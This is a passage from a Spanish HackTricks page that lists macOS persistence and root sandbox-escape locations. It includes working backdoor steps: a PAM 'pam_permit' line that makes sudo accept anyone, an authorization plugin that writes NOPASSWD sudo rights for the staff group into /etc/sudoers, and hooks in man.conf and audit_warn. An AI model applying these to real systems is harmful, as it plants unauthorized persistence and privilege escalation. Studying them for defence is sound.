* Se necesita una acción específica del usuario
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/System/Library/PreferencePanes`**
|
|
* **`/Library/PreferencePanes`**
|
|
* **`~/Library/PreferencePanes`**
|
|
|
|
#### Descripción
|
|
|
|
Parece que esto ya no funciona.
|
|
|
|
## Evasión de Sandbox de Root
|
|
|
|
{% hint style="success" %}
|
|
Aquí puedes encontrar ubicaciones de inicio útiles para la **evasión de sandbox** que te permiten ejecutar algo simplemente **escribiéndolo en un archivo** siendo **root** y/o requiriendo otras **condiciones extrañas.**
|
|
{% endhint %}
|
|
|
|
### Periódico
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
|
|
* Se requiere root
|
|
* **Disparador**: Cuando llega el momento
|
|
* `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`
|
|
* Se requiere root
|
|
* **Disparador**: Cuando llega el momento
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Los scripts periódicos (**`/etc/periodic`**) se ejecutan debido a los **daemons de lanzamiento** configurados en `/System/Library/LaunchDaemons/com.apple.periodic*`. Ten en cuenta que los scripts almacenados en `/etc/periodic/` se **ejecutan** como el **propietario del archivo**, por lo que esto no funcionará para una posible escalada de privilegios.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Launch daemons that will execute the periodic scripts
|
|
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
|
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
|
|
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
|
|
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
|
|
|
|
# The scripts located in their locations
|
|
ls -lR /etc/periodic
|
|
total 0
|
|
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
|
|
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
|
|
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
|
|
|
|
/etc/periodic/daily:
|
|
total 72
|
|
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
|
|
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
|
|
[...]
|
|
|
|
/etc/periodic/monthly:
|
|
total 24
|
|
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
|
|
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
|
|
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
|
|
|
|
/etc/periodic/weekly:
|
|
total 8
|
|
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
|
|
```
|
|
```
|
|
Hay otros scripts periódicos que se ejecutarán indicados en **`/etc/defaults/periodic.conf`**:
|
|
```
|
|
```bash
|
|
grep "Local scripts" /etc/defaults/periodic.conf
|
|
daily_local="/etc/daily.local" # Local scripts
|
|
weekly_local="/etc/weekly.local" # Local scripts
|
|
monthly_local="/etc/monthly.local" # Local scripts
|
|
```
|
|
Si logras escribir en alguno de los archivos `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`, será **ejecutado tarde o temprano**.
|
|
|
|
{% hint style="warning" %}
|
|
Ten en cuenta que el script periódico se **ejecutará como el propietario del script**. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios).
|
|
{% endhint %}
|
|
|
|
### PAM
|
|
|
|
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* Siempre se requiere root
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Como PAM está más enfocado en **persistencia** y malware que en ejecución fácil dentro de macOS, este blog no proporcionará una explicación detallada, **lee los writeups para entender mejor esta técnica**.
|
|
|
|
Verifica los módulos PAM con:
|
|
```bash
|
|
ls -l /etc/pam.d
|
|
```
|
|
Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fácil como modificar el módulo /etc/pam.d/sudo añadiendo al principio la línea:
|
|
```bash
|
|
auth sufficient pam_permit.so
|
|
```
|
|
Así que se **verá** algo así:
|
|
```bash
|
|
# sudo: auth account password session
|
|
auth sufficient pam_permit.so
|
|
auth include sudo_local
|
|
auth sufficient pam_smartcard.so
|
|
auth required pam_opendirectory.so
|
|
account required pam_permit.so
|
|
password required pam_deny.so
|
|
session required pam_permit.so
|
|
```
|
|
Y por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
|
|
|
{% hint style="danger" %}
|
|
Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que al usuario le aparezca una solicitud pidiendo acceso.
|
|
{% endhint %}
|
|
|
|
### Plugins de Autorización
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
|
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root y hacer configuraciones adicionales
|
|
* Bypass de TCC: ???
|
|
|
|
#### Ubicación
|
|
|
|
* `/Library/Security/SecurityAgentPlugins/`
|
|
* Se requiere root
|
|
* También es necesario configurar la base de datos de autorización para usar el plugin
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para más información sobre cómo crear uno de estos plugins, consulta los writeups anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu mac desde el modo de recuperación).
|
|
```objectivec
|
|
// Compile the code and create a real bundle
|
|
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
|
// mkdir -p CustomAuth.bundle/Contents/MacOS
|
|
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
__attribute__((constructor)) static void run()
|
|
{
|
|
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
|
}
|
|
```
|
|
**Mueva** el paquete a la ubicación donde se cargará:
|
|
```bash
|
|
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
|
```
|
|
Finalmente, añade la **regla** para cargar este Plugin:
|
|
```bash
|
|
cat > /tmp/rule.plist <<EOF
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>class</key>
|
|
<string>evaluate-mechanisms</string>
|
|
<key>mechanisms</key>
|
|
<array>
|
|
<string>CustomAuth:login,privileged</string>
|
|
</array>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
|
```
|
|
El **`evaluate-mechanisms`** le indicará al marco de autorización que necesitará **llamar a un mecanismo externo para la autorización**. Además, **`privileged`** hará que se ejecute por root.
|
|
|
|
Actívalo con:
|
|
```bash
|
|
security authorize com.asdf.asdf
|
|
```
|
|
Y luego el **grupo staff debería tener acceso sudo** (lea `/etc/sudoers` para confirmar).
|
|
|
|
### Man.conf
|
|
|
|
Artículo: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root y el usuario debe usar man
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/private/etc/man.conf`**
|
|
* Se requiere root
|
|
* **`/private/etc/man.conf`**: Siempre que se use man
|
|
|
|
#### Descripción y Explotación
|
|
|
|
El archivo de configuración **`/private/etc/man.conf`** indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, se podría modificar la ruta al ejecutable para que cada vez que el usuario use man para leer algunos documentos se ejecute una puerta trasera.
|
|
|
|
Por ejemplo, establecer en **`/private/etc/man.conf`**:
|
|
```
|
|
MANPAGER /tmp/view
|
|
```
|
|
Y luego crea `/tmp/view` como:
|
|
```bash
|
|
#!/bin/zsh
|
|
|
|
touch /tmp/manconf
|
|
|
|
/usr/bin/less -s
|
|
```
|
|
### Apache2
|
|
|
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root y apache debe estar en ejecución
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
* Httpd no tiene entitlements
|
|
|
|
#### Ubicación
|
|
|
|
* **`/etc/apache2/httpd.conf`**
|
|
* Se requiere root
|
|
* Disparador: Cuando se inicia Apache2
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Puedes indicar en `/etc/apache2/httpd.conf` para cargar un módulo añadiendo una línea como:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|
```
|
|
{% endcode %}
|
|
|
|
De esta manera, tu módulo compilado será cargado por Apache. Lo único es que necesitas **firmarlo con un certificado válido de Apple**, o necesitas **agregar un nuevo certificado confiable** en el sistema y **firmarlo** con él.
|
|
|
|
Luego, si es necesario, para asegurarte de que el servidor se inicie podrías ejecutar:
|
|
```bash
|
|
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
|
```
|
|
Ejemplo de código para Dylb:
|
|
```objectivec
|
|
#include <stdio.h>
|
|
#include <syslog.h>
|
|
|
|
__attribute__((constructor))
|
|
static void myconstructor(int argc, const char **argv)
|
|
{
|
|
printf("[+] dylib constructor called from %s\n", argv[0]);
|
|
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|
}
|
|
```
|
|
### Marco de auditoría BSM
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
|
|
|
* Útil para evadir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Pero necesitas ser root, que auditd esté ejecutándose y provocar una advertencia
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/etc/security/audit_warn`**
|
|
* Se requiere root
|
|
* **Disparador**: Cuando auditd detecta una advertencia
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Siempre que auditd detecta una advertencia, el script **`/etc/security/audit_warn`** se **ejecuta**. Así que podrías añadir tu carga útil en él.
|
|
```bash
|
|
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|
```
|
|
Podrías forzar una advertencia con `sudo audit -n`.
|
|
|
|
### Elementos de Inicio
|
|
|
|
{% hint style="danger" %}
|
|
**Esto está obsoleto, por lo que no se debería encontrar nada en los siguientes directorios.**
|
|
{% endhint %}
|
|
|
|
Un **StartupItem** es un **directorio** que se **coloca** en una de estas dos carpetas: `/Library/StartupItems/` o `/System/Library/StartupItems/`
|
|
|
|
Después de colocar un nuevo directorio en una de estas dos ubicaciones, se necesitan **dos elementos más** dentro de ese directorio. Estos dos elementos son un **script rc** **y un plist** que contiene algunas configuraciones. Este plist debe llamarse “**StartupParameters.plist**”.
|
|
|
|
{% tabs %}
|
|
{% tab title="StartupParameters.plist" %}
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Description</key>
|
|
<string>This is a description of this service</string>
|
|
<key>OrderPreference</key>
|
|
<string>None</string> <!--Other req services to execute before this -->
|
|
<key>Provides</key>
|
|
<array>
|
|
<string>superservicename</string> <!--Name of the services provided by this file -->
|
|
</array>
|
|
</dict>
|
|
</plist>
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="superservicename" %}
|
|
```bash
|
|
#!/bin/sh
|
|
. /etc/rc.common
|
|
|
|
StartService(){
|
|
touch /tmp/superservicestarted
|
|
}
|
|
|
|
StopService(){
|
|
rm /tmp/superservicestarted
|
|
}
|
|
|
|
RestartService(){
|
|
echo "Restarting"
|
|
}
|
|
|
|
RunService "$1"
|
|
```
|
|
### ~~emond~~
|
|
|
|
{% hint style="danger" %}
|
|
No puedo encontrar este componente en mi macOS, para más información consulta el informe
|
|
{% endhint %}
|
|
|
|
Informe: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
|
|
|
Apple introdujo un mecanismo de registro llamado **emond**. Parece que nunca fue completamente desarrollado, y su desarrollo podría haber sido **abandonado** por Apple en favor de otros mecanismos, pero sigue estando **disponible**.
|
|
|
|
Este servicio poco conocido **puede que no sea de mucha utilidad para un administrador de Mac**, pero para un actor de amenazas una muy buena razón para usarlo sería como un **mecanismo de persistencia que la mayoría de los administradores de macOS probablemente no sabrían buscar**. Detectar el uso malicioso de emond no debería ser difícil, ya que el LaunchDaemon del sistema para el servicio busca scripts para ejecutar solo en un lugar:
|
|
```bash
|
|
ls -l /private/var/db/emondClients
|
|
```
|
|
### ~~XQuartz~~
|
|
|
|
Escrito: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
|
|
* Se requiere root
|
|
* **Disparador**: Con XQuartz
|
|
|
|
#### Descripción y Explotación
|
|
|
|
XQuartz **ya no está instalado en macOS**, así que si quieres más información, consulta el escrito.
|
|
|
|
### ~~kext~~
|
|
|
|
{% hint style="danger" %}
|
|
Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de sandboxes o incluso para persistencia (a menos que tengas un exploit)
|
|
{% endhint %}
|
|
|
|
#### Ubicación
|
|
|
|
Para instalar un KEXT como un elemento de inicio, necesita ser **instalado en una de las siguientes ubicaciones**:
|
|
|
|
* `/System/Library/Extensions`
|
|
* Archivos KEXT integrados en el sistema operativo OS X.
|
|
* `/Library/Extensions`
|
|
* Archivos KEXT instalados por software de terceros
|
|
|
|
Puedes listar los archivos kext actualmente cargados con:
|
|
```bash
|
|
kextstat #List loaded kext
|
|
kextload /path/to/kext.kext #Load a new one based on path
|
|
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|
kextunload /path/to/kext.kext
|
|
kextunload -b com.apple.driver.ExampleBundle
|
|
```
|
|
Para obtener más información sobre [**extensiones de kernel, consulta esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
|
|
|
### ~~amstoold~~
|
|
|
|
Artículo: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/usr/local/bin/amstoold`**
|
|
* Se requiere ser root
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Aparentemente, el `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, por lo que podrías colocar algo allí y cuando se llamara al servicio XPC, se llamaría a tu binario.
|
|
|
|
Ya no puedo encontrar esto en mi macOS.
|
|
|
|
### ~~xsanctl~~
|
|
|
|
Artículo: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/Library/Preferences/Xsan/.xsanrc`**
|
|
* Se requiere ser root
|
|
* **Disparador**: Cuando se ejecuta el servicio (raramente)
|
|
|
|
#### Descripción y explotación
|
|
|
|
Aparentemente no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si quieres más información, consulta el artículo.
|
|
|
|
### ~~/etc/rc.common~~
|
|
|
|
{% hint style="danger" %}
|
|
**Esto no funciona en las versiones modernas de MacOS**
|
|
{% endhint %}
|
|
|
|
También es posible colocar aquí **comandos que se ejecutarán al iniciar.** Ejemplo de script rc.common regular:
|
|
```bash
|
|
#
|
|
# Common setup for startup scripts.
|
|
#
|
|
# Copyright 1998-2002 Apple Computer, Inc.
|
|
#
|
|
|
|
######################
|
|
# Configure the shell #
|
|
######################
|
|
|
|
#
|
|
# Be strict
|
|
#
|
|
#set -e
|
|
set -u
|
|
|
|
#
|
|
# Set command search path
|
|
#
|
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
|
|
|
|
#
|
|
# Set the terminal mode
|
|
#
|
|
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
|
|
# TERM=$(tset - -Q); export TERM
|
|
#fi
|
|
|
|
###################
|
|
# Useful functions #
|
|
###################
|
|
|
|
#
|
|
# Determine if the network is up by looking for any non-loopback
|
|
# internet network interfaces.
|
|
#
|
|
CheckForNetwork()
|
|
{
|
|
local test
|
|
|
|
if [ -z "${NETWORKUP:=}" ]; then
|
|
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
|
|
if [ "${test}" -gt 0 ]; then
|
|
NETWORKUP="-YES-"
|
|
else
|
|
NETWORKUP="-NO-"
|
|
fi
|
|
fi
|
|
}
|
|
|
|
alias ConsoleMessage=echo
|
|
|
|
#
|
|
# Process management
|
|
#
|
|
GetPID ()
|
|
{
|
|
local program="$1"
|
|
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
|
|
local pid=""
|
|
|
|
if [ -f "${pidfile}" ]; then
|
|
pid=$(head -1 "${pidfile}")
|
|
if ! kill -0 "${pid}" 2> /dev/null; then
|
|
echo "Bad pid file $pidfile; deleting."
|
|
pid=""
|
|
rm -f "${pidfile}"
|
|
fi
|
|
fi
|
|
|
|
if [ -n "${pid}" ]; then
|
|
echo "${pid}"
|
|
return 0
|
|
else
|
|
return 1
|
|
fi
|
|
}
|
|
|
|
#
|
|
# Generic action handler
|
|
#
|
|
RunService ()
|
|
{
|
|
case $1 in
|
|
start ) StartService ;;
|
|
stop ) StopService ;;
|
|
restart) RestartService ;;
|
|
* ) echo "$0: unknown argument: $1";;
|
|
esac
|
|
}
|
|
```
|
|
## Técnicas y herramientas de persistencia
|
|
|
|
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
|
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|